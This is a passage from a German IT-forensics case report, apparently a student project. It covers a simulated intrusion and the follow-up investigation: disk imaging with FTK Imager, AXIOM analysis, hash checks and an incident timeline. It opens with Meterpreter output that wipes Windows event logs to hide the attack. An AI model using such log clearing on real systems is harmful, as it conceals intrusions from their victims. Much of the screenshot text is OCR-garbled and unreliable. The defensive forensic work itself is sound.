Wiping 1135 records from Application ...

Wiping 1307 records from System...

Wiping 6702 records from Security ...
meterpreter > |

Abbildung 16: Erfolgreiche Durchfiihrung von ,Authentication Bypass“

Nach erfolgreichem Léschen der Windows Log-Eintrage ist die Verbindung zum Opfer IT-System ge-
trennt worden, weil unsere Einbruchspuren erfolgreich verschleiert haben.

Anwendung  Anzahl ven Ercignissen: 1.053

Ebene Datumund Uhrzeit  Quelle Ereignis-ID  Aufgabenkategorie @
(@Informationen  27.052020 14:55:20  SecurityCenter 15 Keine
(D Informationen  27.05.2020 14:55:17  SecurityCenter 15 Keine

formationen  27.03.2020 14:35:14 SecurityCenter 13 Keine
formationen 27.05.2020 14:53:47 SecurityCenter 15 Keine
formationen 27.05.2020 14:48:25 Security-SPP 16384 Keine
fermationen 27.05.2020 14:48:18 SecurityCenter 13 Keine
formationen 27052020 144753 Security-SBP 16304 Keine Ebene Datum und Uhrzeit  Quelle Ereignis-ID  Aufgabenkategorie
formationen  27.052020 14:45:29  SecurityCenter 15 Keine (i¥informationen  27.05.2020 20:3:06  Eventlog 104 Protokoll gelgscht

fermationen 27.05.2020 14:42:31 Security-SPP 16384 Keine
formationen 27.05.2020 14:41:40 Security-5PP 16394 Keine
formationen 27.05.2020 14:39:51 Security-5PP 16384 Keine
formationen 27.05.2020 14:39:36 CAPI2 4111 Keine
ehler 27.05.2020 14:39:19 Security-5PP 8198 Keine
formationen 27.05.2020 14:39:19 Security-5PP 1003 Keine
formationen 27.05.2020 14:39:19 Security-SPP 1003 Keine
ehler 27.05.2020 14:39:16 Security-SPP 1014 Keine
'(_"Feh\er 27.05.2020 14:39:16 Security-5PP 2200 Keine

Abbildung 17: Loschung der Windows Log-Eintrage von ,,Anwendungen”
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I von Ereignissen:

Schlisselwarter Datum und Uhrzeit Quelle Ereignis-ID  Aufgabenkategorie A

@, Uberwachung erfolg... 27.05202014:48:32  Microsoft Windows sec. 5382 User Account Manage...

@, Uberwachung erfolg... 27.05.202014:48:32  Microsoft Windows sec. 5382 User Account Manage..

@, Uberwachung erfolg... 27.05.2020 144831  Microsoft Windows sec. 5379 User Account Manage..

@, Uberwachung erfolg... 27.05.2020 144831  Microsoft Windows sec. 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144831 Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144831 Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung edfolg... 27.05.20201448:30  Microsoft Windows sec 5379 User Account Manage.. Schlsselworter Datum und Uhrzeit  Quelle Ereignis-ID Aufgabenkategorie
2, Uberuachung erfolg.. 2705020144330 Microofe Windows sec 5379 User Account Manage.. O lbcraaching erfolgn.57.05.3030 303508 Eventiog 03 Brotokol geiecht
@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 2705200144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage..

@, Uberwachung erfolg... 27052020 144830  Microsoft Windows sec 5379 User Account Manage...

Abbildung 18: Loschvorgang der Windows Log-Eintrage ,Sicherheit”

Ebene Datum und Uhrzeit  Quelle Ereignis-ID  Aufgabenkategorie ~
(@) Informationen  20.05.2020 20; UserPnp 20001 (7005)
(@) Informationen  20.05.2020 20:57:17  Windows Media Player ... 14205 Keine
0 Fehler 20.05.2020 20:5717  Service Control Manager 7023 Keine
Jinformationen  20.05.2020 20:5717  Service Control Manager 7026 Keine
Informationen  20.05.2020 20:5717  Windows Media Player .. 14204 Keine
Informationen  20.05.2020 20:57:16  Winlagen 7001 (1101) Ebene Datum und Uhrzeit  Quelle  Ereignis-ID  Aufgabenkategorie
Informationen  20.05.2020 20:57:03  WLAN-AutoConfig 4000 Keine
(@) Informationen  20.05.2020 20:56:59  DHCPv-Client 51046 Dienststatusereignis
)informationen  20.05.2020 20:56:50  Dhcp-Client 50103 Dienststatusereignis
Jinformationen  20.05.2020 20:56:59  Dhep-Client 50036 Dienststatusereignis
Informationen  20.05.2020 20:56:59  FilterManager 6 Keine
Informationen  20.05.2020 20:56:50  FilterManager 6 Keine
Informationen  20.05.2020 20:56:59  FilterManager 1 Keine
(@) Informationen  20.05.2020 20:56:59  FilterManager 6 Keine
)informationen  20.05.2020 20:56:50  FilterManager 6 Keine
Jinformationen  20.05.2020 20:56:59  FilterManager 6 Keine
Informationen  20.05.2020 20:56:56  Directory-Services-SAM 16962 Keine
Informationen  20.05.2020 20:56:55  Wininit 14 Keine 9

Abbildung 19: Léschung der Windows Log-Eintrage von ,System”



4 Vorbereitung der forensischen Untersuchung
Dieses Kapitel beschreibt die analytische Vorgehensweise zur erfolgreichen Untersuchung des be-
schriebenen Fallszenarios.

4.1 Vorgehensmodell

Nach dem Secure-Analyse-Present (S-A-P) Modell werden IT-forensische Untersuchung in drei Phasen
eingeteilt. Gemein ist allen drei Phasen, dass die Ablaufe hochstgenau dokumentiert werden, damit
die Prozessschritte im Nachhinein von einem unbeteiligten Dritten nachvollzogen werden kénnen.

Secure

In der Secure-Phase geschehen die Identifikation, Sicherstellung und Aufbereitung potentiell relevan-
ter Artefakte. Insbesondere werden hierbei Daten auf Datentragern gesichert, und es werden Master-
und Arbeitskopien davon angefertigt.

Analyse

Die gesicherten Daten werden in dieser Phase analysiert, interpretiert und bewertet. Die Wahl der
Methode und der Werkzeuge hangen dabei stets von den Gegebenheiten des konkreten Falles ab.
Present

Die Ergebnisse der Analysephase werden nun miteinander und zueinander in Bezug gesetzt. Das sich

ergebende Gesamtbild wird gemaR der Zielgruppe aufbereitet und verstandlich dokumentiert.

4.2 Auswahlkriterien fur den Einsatz der IT-Forensik-Tools

Grundsatzlich sind die allgemeinen Grundsatze fir die Auswahl von Werkzeugen und Methoden in der
IT-Forensik zu beachten. Die folgenden Auswahlkriterien wurden zugrunde gelegt und beachtet.
e Akzeptanz: Die im Prozess angewandten Methoden und benutzten Werkzeuge miissen von
der Fachwelt beschrieben und akzeptiert sein.

=>» Die hier ausgewéhlten Tools sind in der Fachwelt bekannt und allgemein anerkannt.

e Glaubwiirdigkeit: Die Funktionalitdt und Robustheit der Ermittlungsmethode sollen im Be-
darfsfall nachgewiesen werden kénnen.

=>» Die Einhaltung der Ermittlungsmethodik wird im vorliegenden Fall durch das 6-Augen-Prin-
zip sichergestellt.

e Wiederholbarkeit: Eine dritte Person, welche die gleichen Methoden und Hilfsmittel nutzt, soll
nach Durchfiihrung der gleichen Schritte dieselben Ergebnisse erhalten.

=>» Die Korrektheit der Ergebnisse der Zwischenschritte wurde unter Beachtung des 6-Augen-
Prinzips stichprobenweise Uberpriift.

e Ursache und Auswirkung: Die gewahlten Methoden miissen es ermoglichen, zwischen Perso-
nen, Ereignissen und Beweisspuren logisch nachvollziehbare Verbindungen zu finden.

=» Das eingesetzte Werkzeug AXIOM® stellt die Erfiillung dieser Anforderung sicher.
e Authentizitit: Auf die Echtheit/Originalitat der erhobenen Daten ist Wert zu legen.

=>» Der Zugriff auf das Untersuchungsobjekt war auf die Teammitglieder wirksam beschrankt.
o Integritat: Sichergestellte Spuren dirfen nicht unbemerkt verandert werden kénnen.
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=>» Zu Beginn wurde eine Masterkopie der zu untersuchenden Festplatte erstellt, von der wie-
derum eine Arbeitskopie angefertigt wurde. Die Ubereinstimmung der Hashwerte wurde iiber-
prift.

e Dokumentation: Jeder Schritt des Prozesses soll angemessen dokumentiert werden.

Weitere spezielle Entscheidungskriterien sind die Bedienbarkeit und Handhabbarkeit der Werkzeuge
sowie die Verfligbarkeit von Online-Tutorials und weiteren Informationsquellen.
Nach umfangreichen Recherchen kommt das Team zur Entscheidung als Softwarewerkzeuge
e FTK-Imager® (Version 4.3.0.18) des Herstellers AccessData® und
e Magnet Axiom (Version 3.11.0.19007) des Herstellers Magnet Forensics, Inc.
zu wahlen.

Zur Auswahl standen die Softwaretools X-Ways und AXIOM.
AXIOM bietet flr folgende Vorteile:
e GUI ist einfach und intuitiv verstandlich zu bedienen.
e Die Einarbeitungszeit ist geringer.

X-Ways deckt den Bereich der Analyse auch ab, jedoch sind folgende Nachteile (fir diesen Fall) zu groR:
e Die GUI ist sehr komplex.
e Die notwendigen Konfigurationen sind komplex durchzufiihren und entsprechend zeitlich auf-
wandig.

Anhand von Screenshots wurden alle Schritte der Untersuchung nachvollziehbar dokumentiert.
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5 Durchfihrung der Beweissicherung
Dies ist die Secure-Phase nach dem S-A-P-Modell.

5.1 Erstellung des Festplatten-Images

Zunachst wird die Festplatte aus dem kompromittierten Rechner ausgebaut und (iber eine SATA Do-
cking Station Giber USB an den Untersuchungsrechner angeschlossen.

Zur Erstellung eines Abbilds der Festplatte des zu untersuchenden Laptops wird die Anwendung FTK-
Imager in der Version 4.3.0.18 eingesetzt.

File View Mode Help
EL LY a -5 EEE I
Evidence Tree File List X
Name Size Type Date Modified

< >

Wew Edt Remowe Remove All Create Image

Custom Con_

For User Guide, press F1 NUM

Abbildung 20: Initialbildschirm des FTK-Imagers

Durch Klick auf den Button ,Create Disk Image” wird der Prozess gestartet.

g

Please Selectthe Source Evidence Type
{® Physical Drive
() Logical Drive

() Image File

() Contents of a Folder
(logical file-level analysis only; excludes deleted, unallocated, etc.)

() Fernico Device (multiple CO/DVD)

< Zuruick Weiter » | ‘ Cancel | ‘ Help

Abbildung 21: Auswahl der Ressource
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Die richtige Auswahl , Physical Drive” ist bereits vorausgewahlt. Es geht weiter mit der Auswahl der
angeschlossenen Festplatte.

Image Source

| 1\ \PHYSICALDRIVE3 |

Starting Evidence Mumber; | 1
Image Destination(s)

I Add... | Edit... Femove

| Add Overflow Location |

Verify images after they are created ] Premlmljltte Progress Statistics
[ ] create directory listings of all files in the image after E;? are created

Abbildung 22: Festlegung der Parameter zur Imageerstellung

Typ und Zielverzeichnis des Images werden festgelegt.

Please Select the Destination Image Type

(O Raw (dd)

() SMART

< Zuriick | Weiter = | ‘ Abbrechen | ‘ Hilfe

Abbildung 23: Definieren des Imagetyps

Das Format ,,E01“ hat die Vorteile, dass es von Axiom verarbeitet werden kann und vergleichsweise
kompakt ist. Dann wird das Beweisstlick mit einigen Informationen versehen.
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Case Mumnber: | o1 |
Evidence Number: | Festplatte 25.05.2020 |
Unigue Description: | FrMlo1 |
Examiner: | Meubert, Frenzel, Bielenstein |
Motes: | |
<Zurick | Weiter > | | Cancel | | Hep

[

Abbildung 24: Definieren von Metadaten

Nach dem Klick auf ,,Weiter” wird das Zielverzeichnis festgelegt.

Image Destination Folder

|E:‘|.Fnrensik || Browse |

Image Filename (Exduding Extension)
| FFM-01_Image_2020-05-28 |

Image Fragment Size (MB) _
For Raw, E01, and AFF formats: 0 = do not fragment

Compression (0=Mone, 1=Fastest, ..., 9=Smallest) C ZI

Use AD Encryption |:|

<zuiick [ Finish | | Cancel | |  Hep |

Abbildung 25: Definieren des Zielordners

Klick auf den Button ,,Finish“ startet nun die Imageerzeugung.

Da die Option Verify images after they are created zuvor aktiviert wurde, beginnt die Software direkt
den Hash-Wert des Images zu berechnen und mit dem Hash der Quelle zu vergleichen, wenn der
Image-Vorgang erfolgreich abgeschlossen ist. Dieser Vorgang hat in diesem Fall ca. 100 Minuten ge-
dauert.
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e
[

Fos User Guide press F1

Aafdas GHEsa —m Bl EEER N
idence Tee  [Fiets %
Hame Size Tpe Date Medifed
L] - Image Source: | 1\ PHTSICALDRIVED
Destnation: E5'Forenski03. Imageimage_3
Computed hesh -
Stoved vesification hash Status: [moge cestmd ety ]
ReportHash e
Very resue
B SHAT Hash 305245, 34 oF 305245, 34 MB (50,542 MBoec)
Computed hash s
Stered venfication hash = l &
Repart Hash " | S— Esomated tme feft: | 0:00:00
Verty resut
B Bad Blocks List Amage Summary... Chose
Bad blockds) in mage v
Custom Content Sources
Evnrce e Syziem PetiFie Ontors
Do y Listing
Usting Source: | E:'Ferensik\03. Imape'image_3.E01
N e T
o aaa
srogess
| —
Sl
et e
e
< >
New Eat | Remove Remove Al Coate Tnage
wer Custom Conte.

w1

Abbildung 26: Vergleich der Hashwerte

Marme

Sector count
MD5 Hash
Computed hash
Report Hash
Verify result
SHA1 Hash
Computed hash
Repert Hash
Verify result
Bad Blocks List
Bad block(s) in image

FFM-01_Image_2020-05-28.001
625142448

7cf58cbb20413a5a5346791d982980c8
7cf58cbb2041335a5346791d982980c8
Match

3724e5e090cb37bbGeaZ0c3401d81b09TEdIECS
3724e5e090cb37bbbeaz0c3401d81b09TEdIECE
Match

Mo bad blocks found in image

Abbildung 27: Ergebnisse der Verifizierung
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6 Analyse des vorbereiteten Images
Dies ist die Analyse-Phase nach dem S-A-P-Modell.

6.1 Erstellung eines neuen Falls

Um eine Analyse zu starten, muss im ersten Schritt ein Fall erstellt werden. Dabei sind essentielle An-
gaben notwendig, wie Fallinformation, Speicherort der Falldaten, Speicherort fiir die gesicherten Be-
weise und die Scaninformationen.

Dater Tools Hilfe

FALLDETAILS

FALLDETAILS

BEWEISQUELLEN FALLINFORMATIONEN

Falinummer | 1 komp
VERARBEITUNGSOPTIONEN
Fallyp
SPEICHERORT FOR FALLDATEIEN
Ordnername  AXIOM - Jun 06 2020 152604
Dateipfad  E:\Forensik
Verfugbarer Piatz: 491,04 GB

SPEICHERORT FUR DIE GESICHERTEN BEWEISE

Ordnername  AXIOM - Jun 06 2020 152604
ARTEFAKTDETAILS ]
Dateiptad  E:\Forensik

Vertogharer Platz: 49104 GB

SCANINFORMATIONEN

BEWEISANALYSE SCAN 1

Beschreibung | FTK-Image, Format 01|

BERICHTSOPTIONEN

Titeiogo

Abbildung 28: Erstellung eines Falls

6.2 Einlesen der Image-Datei

Als Beweisquelle ist die Kopie des erstellten Images verwendet worden. Nachdem das Image als Quelle
hinzugefligt worden ist, hat die Software vier Bereiche der Festplatte detektiert.
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Datei Tools Hilfe

BEWEISQUELLEN
FALLDETAILS WINDOWS
DATEIEN UND ORDNER HINZUFUGEN
BEWEISQUELLEN ALLE LOSCHEN
VERARBEITUNGSOPTIONEN o W Image 2E01
- (= Partition 1 (Microsoft NTFS, 100 MB) System-reserviert

Keywords zur Suche hinzufiigen

(2 Partition 2 (Microsoft NTFS, 207,45 GB)
Geschachtelte Container durchsuchen Ei

(2 Partition 3 (Microsoft NTFS, 550 MB)
Hash-Werte berechnen

Chats otegorisieren (= Nicht partitionierter Speicherplatz
Bilder und Videos kategorisieren
Weitere Artefakte finden
ARTEFAKTDETAILS 0
Computer-Artefakte

Mol

rtefakte

Cloud-Artefakte

BEWEISANALYSE

ZURDCK WEITER

Abbildung 29: Auswahl der Partitionen

Fiir die jeweiligen einzelnen Partitionen 1 bis 3 wird der Suchtyp , Vollstandig” sowie der nicht partiti-
onierte Speicherplatz auf den Suchtyp ,nicht partitionierter Speicherplatz” ausgewahlt, damit alle ver-
fligbaren Bereiche eingebunden werden.

Datei Tocks  Hille

BEWEISQUELLEN
FALLDETAILS —
SUCHART AUSWAHLEN
e R Suchyp
~ [image_3.01 - Partition 1 (Micresoft NTFS, 100 ME) System-reservi ctindia
VERARBEITUNGSOPTIGNEN Imagn AR - Farthon T (MErsial NS 100 M Syte = Vel

pagefiesys / swapblesys

Keyerords zur Suche hinzufogen firarte

SMET

Geschachtelte Container durchsuchen Ein

Hash-Werte berechnen
Al Dateien und Crdner
Chats kategorsieren
Volume Shadaw Copy
Bilder und Videss kategorisieren
Micht zugensesener Specherpiats
Weitere Artefskie finden
Dater-Schluphipeicher

ARTEFAKTDETAILS o i
Nicht initahsierter Dateibereich
~ [¥limage_3.£01 - Pantition 2 (Micrasoft NTFS, 207,45 G8) Volstandia
pagefiesys / swapfiesys
BEWEISANALYSE Slogfile

SMFT
Alle Diateien und Ordner
Volume Shadaw Copy
Micht zugeniesener Speicherplatz
Datei-Schlupfspeicher
hiberfisys
Hichtintialisierter Dateibereich
 Wlimage_3.£01 - Partition 3 (Microsoft NTFS, 550 ME) Wollstandia
pagefie.sys / swapfiesys
SLoghie
SMFT
Alle Dateien und Ordner
Volume Shadow Copy
Hicht zugewiesener Speicherplatz
Datei-Schiupfipeicher
hiberdilsys
Hich intiaisierter Dateibereich
~ [)image_3.E01 - Nicht partitionierter Speicherplat Nicht partitionserter | *

Hicht pationiener Speicherplatz

Abbildung 30: Auswahl des Suchtyps
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AnschlieBend sind die ausgewahlten Partitionen, die fiir die Analyse betrachtet werden sollen, zur Be-
weisquelle ,Computer” hinzugefligt worden.

Dates Tools Hilfe

FALLDETAILS
BEWEISQUELLEN 4
VERARBEITUNGSOPTIONEN
Keywords zur Suche hinzufigen
Geschachtsie Container durchsuchen  Ein
Hash Werte berechnen
Crats kategarisieren

Bilder und Videes kategarsieren

Weitere Artefaite finden
ARTEFAKTDETAILS 187

Campater-Aneisite 187 won 212
BEWEISANALYSE

BEWEISQUELLEN

BEWEISQUELLE AUSWAHLEN

=

COMPUTER MOBIL clouo

BEWEISQUELLEN WURDEN DEM FALL HINZUGEFOGT
Typ  Abbild - Speicherortname Bewslsmummer
Image_2E01 - Partition 1 (Micross Image 3.£01
@ Image_3.E1 - Partiion 2 (Mierose lmage_ 3601
Image 3E01 - Partiion 3 (Micrcse Image 3601

Image_JED1 - Nicht partiionierte. Image_3.£01

ZURDCK GEHE ZU VERARBEITUNG

Suchtyp Status
Vollstandig Bereit
Vellstang Bereit
Vellstanig Bereit

Hiche panitionier Bereit

6.3 Aufbereitung der Daten

Bei den , Verarbeitungsoptionen” sind die Standardeinstellungen (ilbernommen worden.

Datei Tools  Hilfe

FALLDETAILS
BEWEISQUELLEN 4
VERARBEITUNGSOPTIONEN

Keywords sur Suche hinzubigen

Geschachtelte Container durchsuchen  En

Hash-Werte berechnen

Chats kstegorsieren

Bader und Videos kategarieren

Westere Artefaite finden
ARTEFAKTDETAILS 17

Computer-Arehakte 187 van 212

BEWEISANALYSE

Abbildung 31: Auswahl der Beweisquelle

VERARBEITUNGSOPTIONEN

KEYWORDS ZUR SUCHE HINZUFUGEN

Seellen i bereit, i Sie in
aufnehmen machten, Wenn ein Keyward wéhrend einer Suche gefunden wird, wird es in
AXIOM Examine zum Keywordfiter hinzugesugt

KEYWORDS ZUR SUCHE HINZUFUGEN

MAGNET.AI-CHAT-KATEGORISIERUNG

o egerien sktiieren Examine

der Sie im Artefakt-
Explorer kennaichnet.

MAGNET.AI-CHAT-KATEGORISIERUNG

GESCHACHTELTE CONTAINER DURCHSUCHEN

Containerdateien, wie 2 8. Archive und mobie Sackups. E2nnen in anderen Bemeisquellen
gefunden werden. Im Feigenden kannen Sie dis Optionen zur Durchsuchung der
Cantainer, die bei Irer Suche gefunden wurden, kanfigurieren,

[ GESCHAGHTELTE CONTAINGR DURCHSUCHEN

HASH-WERTE BERECHNEN
Hash-Wiarte far nicht relevante Dateien importieren, damit diesa nichtin Ihrem Fall
enscheinen.

HASH-WERTE BERECHNEN

BILDER UND VIDEOS KATEGORISIEREN

Altvieren Sie Bilderkategorien, sodass AXIOM Examine Bilddateien und Elemente, die
Bilder enthalten (zum Beisgiel ein in sne doc-Datel eingebettetes ) sutomatisch suf

der sie anschlieSend im
Artefyit-Expiorer kennaeichnet,

BILDER UND VIDEDS KATEGORISIEREN

WEITERE ARTEFAKTE FINDEN

Alctivieren Sie den dynamischen App-Finder und konfigurieren Sie die Liste mit den
benutzerdefinierten Dateitypen, wenn Sie Artefakie suchen méchten, die MAGNET Axiom
derzeit nicht unterstdtzt.

WEITERE ARTEFAKTE FINDEN

Abbildung 32: Auswahl der Verarbeitungsoption
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Im Anschluss werden die ,Artefaktdetails” angezeigt, die in der Standardeinstellung Glbernommen

worden sind.

Datei Tools Hilfe

FALLDETAILS
BEWEISQUELLEN 4

VERARBEITUNGSOPTIONEN
Keywords zur Suche hinzufdgen
Geschachtelte Container durchsuchen Ein
Hash-Werte berechnen
Chats kategorisieren

Bilder und Videos kategorisieren

Weitere Artefakte finden

ARTEFAKTDETAILS 17
Computer-Artefakte 187 von 212
Mobile Artefakte

Cloud-Artefakte

BEWEISANALYSE

ARTEFAKTDETAILS

‘COMPUTER-ARTEFAKTE

187 von 212 Apps sind im Fall enthalten

COMPUTER-ARTEFAKTE ANPASSEN

MOBILE ARTEFAKTE
0 von 222 Apps sind im Fall enthalten

MOBILE ARTEFAKTE ANPASSEN

CLOUD-ARTEFAKTE
0 von 98 Apps sind im Fall enthalten

CLOUD-ARTEFAKTE ANPASSEN

S

Abbildung 33: Anpassung der Computer-Artefakte
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Datei Tools Hilfe

ARTEFAKTE AUSWAHLEN, DIE IN DEN FALL AUFGENOMMEN WERDEN

FALLDETAILS o)
COMPUTER-ARTEFAKTE
BEWEISQUELLEN 4
ALLE LOSCHEN ALLE COMPUTER-ARTEFAKTE ~ ALLEANSEHEN ~ PROFIL Alle Artefakte (Vorg -
VERARBEITUNGSOPTIONEN PROFILOPTIONEN
Keywords zur Suche hinzufugen
Geschachtelte Container durchsuchen Ein ¥l BENUTZERDEFINIERTE ARTEFAKTE (4 von 4) v Vi Vi 8
[0 BETRIEBSSYSTEM (63 von 66)
Hash-Weste bersichyien $LogFile- 360 Safe Abbildungsin Adium
Wl cHAaT (32von32) Analyse Browser (imagt
Chats kategorisieren B
¥| CLOUD SPEICHERUNG (7von7) =\
I 5 M
it Videss tntegortsierey ¥/ DOKUMENTE (14 von 14) v v & ((@)) &
Weitere Artefakte finden ¥ E-MAL (13von 13) N 7
= Adobe Flash AIM AirDrop AmCache
ARTEFAKTDETAILS 187 ¥l MEDIEN (10 von 10) Cookies /
¥ PEER-TO-PEER (11von 11) L“T'
Computer-Artefakte 187 von 212 = geselte
¥ SOZIALE NETZWERKE (9 von 9) Objekte
¥ VERSCHLUSSELUNG (3 von 3) % B . )
[ WEBBEZOGEN (18von 19) £ I'l ¥ <
BEWEISANALYSE I WEITERE QUELLEN (3 von 3) Android- Anmeldeverl: API-Hooks Apple
Backups (apihooks) Accounts
OPTIONS
. ; Ll —
% %] vl v
Apple Apple Apple Notes Ares
Contacts Keychain OPTIONS
OPTIONS
v
2 v v v
Audio AutoRun- Bash- Bebo
Elemente Sitzungen
° g E - &8
Befehlsverlau Bekannte Benachrichtig Benutzerkont

(cmdscan) DLLs
- R

ZURUCK GEHE ZU BEWEISANALYSE

Abbildung 34: Ausgewahlte Computer-Artefakte

Die fur den IT-forensischen Fall bevorzugten Artefakte sind kategorisiert mit den wichtigen Attributen
dargestellt. Damit wird ersichtlich, auf welche Detailebene Magnet Axiom analysiert und die weitere
forensische Untersuchung fortgefiihrt werden muss, sind detailliert in der offiziellen Artifact Refe-
rence? die Attribute zu den wichtigen Artefakten betrachtet.

2 https://www.magnetforensics.com/docs/artifacts/html-axiom/Content/Resources/PDFs/Artifact%20Reference.pdf



https://www.magnetforensics.com/docs/artifacts/html-axiom/Content/Resources/PDFs/Artifact%20Reference.pdf

Bevor die Analyse gestartet wird, wurde nochmals eine Auflistung der dann bearbeiteten Quellen an-

gezeigt.

Datei Tools Hilfe

FALLDETAILS

BEWEISQUELLEN

VERARBEITUNGSOPTIONEN
Keywords zur Suche hinzufigen
Geschachtelte Container durchsuchen
Hash-Werte berechnen
Chats kategorisieren
Bilder und Videos kategorisieren

Weitere Artefakte finden

ARTEFAKTDETAILS

Mobile Artefakte
Cloud-Artefakte

BEWEISANALYSE

Ein

187

Computer-Artefakte 187 von 212

BEWEISANALYSE

ZU BEARBEITENDE QUELLEN

Abbild - Speicherortname Beweisnummer
Image_3.E01 - Partition 1 {Microsoft NTFS, 100 ME) Syst: Image 3E01
Image_3.E01 - Partition 2 {Microsoft NTFS, 207,45 GE)  Image_3.E01
Image_3.E01 - Partition 2 (Microsoft NTFS, 550 MB)  Image_3.£01
Image_3.E01 - Nicht partitionierter Speicherplatz Image_3.£01

Suchtyp Startzeit
Volistandig
Volistandig
Vollstandig

Nicht partitionierte

Abbildung 35: Anzeige der zu bearbeitenden Quellen
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6.4 Durchfihrung der Aufbereitung

Nach dem Klick auf ,, Beweisanalyse” ist die Analyse gestartet worden.

Datei  Tools

BEWEISANALYSE

FALLDETAILS

ZU BEARBEITENDE QUELLEN
BEWEISQUELLEN 4

Typ Abbild - Speicherortname Beweisnummer Suchtyp Startzeit En
VERARBEITUNGSOPTIONEN @ Image_3.E01 - Partition 1 (Microsoft NTFS, 100 MB) Syst: Image_3E01 Vollstandig 06.06.2020 15:29:56 06
Suche hinzufigen @ Image_3.E01 - Partition 2 (Microsoft NTFS, 207,45 GB)  Image_3.E01 WVollstandig 06.06.2020 15:30:17
Geschachielie Container durchsuchen @ Image_3.E01 - Parition 3 (Microsoft NTFS, 550 MB)  Image_3.E01 Volstandig
|:\ Image_3.E01 - Nicht partitionierter Speicherplatz Image_3.E01 Nicht partitionierte
Chats kategorisieren
Bilder und Videos kategorisieren SUCHE LAUFT

@ Artefakie finden

Verstrichene Ze 51
ARTEFAKTDETAILS 87 AKTUELLER SUCHORT
Artefakie 12 (2] Image_3£01 - Partition 2 (Microsoft NTFS, 297,45 GB) Suchen - Partition 2 (Microsoft NTFS, 20745 GB) & ’
Artefakie .
~ Search Definitions:
Cloud-Artefakte ~ Partition 2 (Microsoft NTFS, 207,45 GB)
Writing Filesystem Information Fertig
BEWEISANALYSE :?geﬁlesys/ swapfile.sys Fertig
ogFile Fertig
SMET Fertig
All Files and Folders Fertig
Volume Shadow Copies Fertig
Unallocated Clusters Suchen - 73,9% - (5:13:21)
File Slack Space Bereit
hiberfilsys Bereit
Uninitialized File Area Bereit

Geschachtelte Container gefunden: 20
v Thread Details:

>

Abbildung 36: Analysevorgang

Nachdem der Vorgang nach 09:17:18 h abgeschlossen war, konnte man folgendes Ergebnis erkennen:

Datei Tools Hilfe

BEWEISANALYSE

FALLDETAILS

ZU BEARBEITENDE QUELLEN
BEWEISQUELLEN 4

Typ Abbild — Speicherortname Beweisnummer Suchtyp Startzeit En
VERARBEITUNGSOPTIONEN —
Image 3.£01 - Partiion 1 (Microsoft NTFS, 100 MB) Syst: Image_3.E01 Vollsténdig 06062020 15:29:56 064
Ke ur Suche hinzufigen
e hinzuftige Image_3.E01 - Parition 2 (Microsoft NTFS, 207,45 GB)  Image_3.601 Vollstandig 06062020 15:30:17 074
Geschachtelte Container durchsuchen Ein
Image 3.£01 - Parkiion 3 (Micrasoft NTFS, 550 MB)  Image 3.601 Vallstandig 07.06.2020 00:44:44 74
Image 3.£01 - Nicht parttionierter Speicherplatz Image 301 Nicht parttionierts 07.06.2020 00:45:42 o4
Chats kategorisieren
Bilder und Videos kate:
) R SUCHE ABGESCHLOSSEN
Weitere Artefakte finden
ARTEFAKTDETAILS 187 AXICM Process hat Ihre andig gescannt, Hier cine der beendeten Suche.
Startzeit 06.06.2020 15:29:42
187 von 212
Endaeit 07.06.2020 00:47:14
Suchdauer 9 Stunden, 17 Minuten, 18 Sekunden
Cloud-Adefakie Douer der Indexierung 8 Sekunden
BEWEISANALYSE Suchergebnis Erfolgreich abgeschlossen

AUSNAHMEN ()

SCAN-EINSTELLUNGEN

>

ZURIICK SCHLIEBEN

Abbildung 37: Zusammenfassung des Scans
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6.5 Uberprifung der Integritat durch einen MD5-Hash

Damit die Integritat des kopierten Images sichergestellt werden kann, wurde Uber die Option Abbil-
dung 38 eine erneute Hash-Wert-Berechnung in AXIOM durchgefihrt.

Verified Images:

verification Started: Jul 11, 2028 19:45:29
Verification Finished: Jul 11, 2020 20:07:44
MD5 Image Hash: 7cf58cbb28413a5a5346791d982986c8
MD5 Verification Hash: 7cf58cbb26413a5a5346791d982980c8
Outcome: MATCH

Abbildung 38: Ausgabe des berechneten MD5 Hash-Wertes in AXIOM

Durch den Vergleich mit Abbildung 27 zeigt sich, dass AXIOM mit dem korrekten Image gearbeitet hat
und keine Anderung an dem Image vorgenommen wurde.
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7 Ergebnisse der IT-forensischen Untersuchung
In diesem Abschnitt werden die Ergebnisse der IT-forensischen Untersuchung prasentiert. Dies stellt
die Presentation-Phase nach dem S-A-P-Modell dar. Dabei ist die Analyse mithilfe der Software AXIOM

durchgefihrt worden. Hierbei liegt der Fokus auf den Ereignissen, die auf dem IT-System stattgefunden
haben.

7.1 Timeline des IT-Systems

20.05.2020 @ 20:34:10 (MESZ):
Der Reporter hat die geheimen Dokumente erfolgreich an Herrn Neubert in die BRD versendet. Die E-
Mail beinhaltet Text mit speziellen Hinweisen bez. der Bilder im Anhang, die mit gesendet worden sind.

Ebenso ist im Anhang der Dokumentationsbericht tiber die schénen Gebirge des Nahen Ostens enthal-
ten.

BEWEIS (20) [ Spattenansicht
An Von Datum/Zeit Thema Kerper
[ hs-wismar.de, po Manuel Opfermann <Manuel Opfermann@bielenste..  20,052020 20:3400  Berichtsdokumentation Kaukasus FFM-01 Sehr geehrte Frau Neubert,  vor Ort haben wir ein

Abbildung 39: Versand der E-Mail mit Anhang an Herr Neubert

27.05.2020 @ 18:45Uhr (MESZ):

Der Reporter erhélt eine E-Mail vom netten und freundlichen Einheimischen (Angreifer) mit Anhang.
Der Anhang ist ein selbstentpackendes Archiv, das eine PDF-Datei mit dem Namen , Kaukasus-Be-
richt.pdf.rar” enthélt sowie eine ausflihrbare Windows Exe-Datei mit dem Namen , virus2.exe”.

BEWEIS (20) 1 Sealtenansicht -
An Von Datum/Zeit Thema Karper
